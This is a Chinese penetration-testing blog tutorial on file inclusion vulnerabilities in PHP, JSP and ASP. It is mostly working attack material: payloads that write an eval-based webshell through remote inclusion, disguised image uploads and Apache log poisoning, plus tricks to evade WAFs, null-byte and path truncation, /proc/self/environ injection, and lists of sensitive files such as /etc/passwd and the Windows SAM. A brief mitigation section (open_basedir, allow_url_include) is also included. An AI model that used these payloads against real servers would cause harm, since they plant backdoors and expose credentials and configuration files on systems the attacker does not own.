文件包含漏洞(PHP、JSP、ASP)详解

文件包含漏洞是渗透测试过程中用得比较多的一个漏洞,主要用来绕过waf上传木马文件。

今日在逛Tools论坛时,发现了一种新型的文件包含姿势,在此记录分享,并附上一些文件包含漏洞的基础利用姿势。

 

一、phar://协议

 

特殊姿势
利用 phar://协议 特性可以在渗透过程中帮我们绕过一些waf检测,phar:// 数据流包装器自 PHP 5.3.0 起开始有效,貌似可以绕过安全狗。

 

利用过程

1、新建shell.php代码内容:

<?php
include 'phar://test.rar/test.txt';
?>

 

2、新建test.txt里的内容:

<?php
phpinfo();
?>

 

3、压缩 test.txt 文件,可以重命名压缩文件为 zip,phar,rar 等格式,之后访问shell.php文件后,会出现phpinfo内容。

phar://协议

 

phpinfo

 

二、PHP文件包含漏洞

PHP中的文件包含分为本地包含与远程包含,导致文件包含的函数如下:

include()

include_once()

require()

require_once()

fopen()

readfile()

……

 

本地包含漏洞(LFI)

1、新建一个phpinfo.txt,然后新建一个shell.php,写入:

<?php
Include("phpinfo.txt");
?>

 

2、访问 shell.php 会输出phpinfo页面内容,无论将扩展名改为什么,都将以php代码执行。如果文件不是符合php规则的(即没有写<?php ?>等),则通过include可以直接输出源码。

 

远程包含漏洞

前提:需要开启allow_url_include,默认是关闭的。

 

1、新建php.txt:

<?php
echo "hello world";
?>

 

2、新建index.php:

<?php
Include($_GET['page']);
?>

 

3、访问:http://www.xxxx.com/?page=http://www.xxxx.com/php.txt

执行结果将输出 hello world。

 

三、PHP文件包含漏洞利用

 

读取敏感信息

如:http://www.xxx.com/index.php?page=/etc/passwd

 

Windows:

c:\boot.ini
c:\windows\systems32\inetsrv\MetaBase.xml
c:\windows\repair\sam
c:\windows\php.ini             php配置文件
c:\windows\my.ini               mysql配置文件

 

LINUX:

/etc/passwd
/usr/local/app/apache2/conf/http.conf
/usr/local/app/php5/lib/php.ini          PHP相关设置
/etc/httpd/conf/http.conf                    apache配置文件
/etc/my.cnf                                              mysql配置文件

 

远程文件包含shell

test.txt文件,可以保存在远程服务器上,内容如下:

<?fputs(fopen("shell.php","w"),"<?php eval($_POST[nmask]);?>")?>

 

如果目标网站存在远程包含漏洞,则可以通过访问:

http://www.xxx1.com/index.php?page=http://www.xx2.com/test.txt

则会在服务器根目录下生产一个shell.php内容为:

<?php   eval($_POST[nmask]);?>

 

本地文件包含配合文件上传

如果目标服务器关闭了allow_url_fopen,则可以尝试使用本地包含+文件上传

 

1、上传一个图片木马a.jpg,内容为:

<?fputs(fopen("shell.php","w"),"<?php eval($_POST[tzc]);?>")?>

 

2、访问URL:

http://www.xxx.com/index.php?page=./a.jpg

在本地生成shell.php。

 

本地文件包含配合apache日志拿shell

apache日志分为access.log与error.log,当我们请求一个url地址时,便会记录在access.log中,但如果访问一个不存在的页面,便会将这个页面写入access.log中。

 

例如,访问URL:

http://www.xxx.com/<?php eval([$_POST]);?>

则会将一句话写入到access.log中,但是一般来说,写入到access.log文件中的一句话是被编码的,所以需要抓包绕过,而且利用此漏洞需要知道access.log的地址,不然便没有。

 

利用/proc/self/environ进行包含

例如:http://www.test.com/view.php?page=../../../../proc/self/environ

这是web进程运行时的环境变量,其中有些参数是可以被用户控制的,最常见做法就是在User-Agent中插入一句话。

 

利用php协议进行包含

data:  php5.2以后版本

php://input  需要开启allow_url_include

 

poc:

http://www.test.com/index.php?file=data:text/plain,<?php phpinfo();?>%00

 

截断包含

有些开发者为了防止本地包含漏洞,会编写一下代码:

<?php
    Include  $_GET['page'].".php"
?>

 

1、00截断包含

 

新建1.jpg:

<?fputs(fopen("shell.php","w"),"<?php eval($_POST[tzc]);?>")?>

这样的话比如上传一个1.jpg图片码,则访问:http://www.xxx.com/1.jpg 时,访问的是1.jgp.php,以为没有这个文件所以报错。

这时,可以尝试访问:http://www.xxx.com/1.jpg%00

 

2、使用长目录截断

././././././././././././././etc/passwd
或者
////////////////////////////etc/passwd
或者
../a/etc/passwd/../a/etc/passwd/../a/etc/passwd

 

在windows下目录最大长度为256字节,linux下为4096字节,其后面超出部分被丢弃。

 

四、PHP文件包含漏洞修复方案

开启 open_basedir函数,将其设置为指定目录,则只有该目录的文件允许被访问。

关闭 allow_url_include函数,防止远程文件包含。

 

五、JSP文件包含漏洞

 

1、include

<%@ include file="head.jsp"%>
<%@ include file="body.jsp"%>
<%@ include file="tail.jsp"%>

 

2、jsp:include

<jsp:include page="head.jsp"/>
<jsp:include page="body.jsp"/>   
<jsp:include page="tail.jsp”/>

 

3、采用JSTL

<c:import url="http://thief.one/1.jsp">

 

说明:

1、include指令在转换时插入“Header.jsp”的源代码,而标准动作在运行时插入“Header.jsp”的响应。元素允许你包含动态文件和静态,而include说明标签仅仅是把一个文件内容当成静态追加到主文件中去。

2、采用前两种方式,只能包含当前web应用的界面,不过 c:import 可以包含容器之外的内容。

 

六、ASP文件包含漏洞

asp貌似无法包含远程文件(iis安全设置),只能包含本地文件,语法如下:

<!--#include file="1.asp" -->

 

七、ASPX文件包含漏洞

aspx文件包含与asp一样,语法如下:

<!--#include file="top.aspx" -->
    A+
发布日期:2019年08月20日 10:13:17  所属分类:渗透测试
最后更新时间:2019-08-25 20:39:24
付杰
  • ¥ 298.0元
  • 市场价:899.0元
  • ¥ 68.0元
  • 市场价:168.0元
  • ¥ 15元
  • 市场价:15元
  • ¥ 0.0元
  • 市场价:199.0元

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: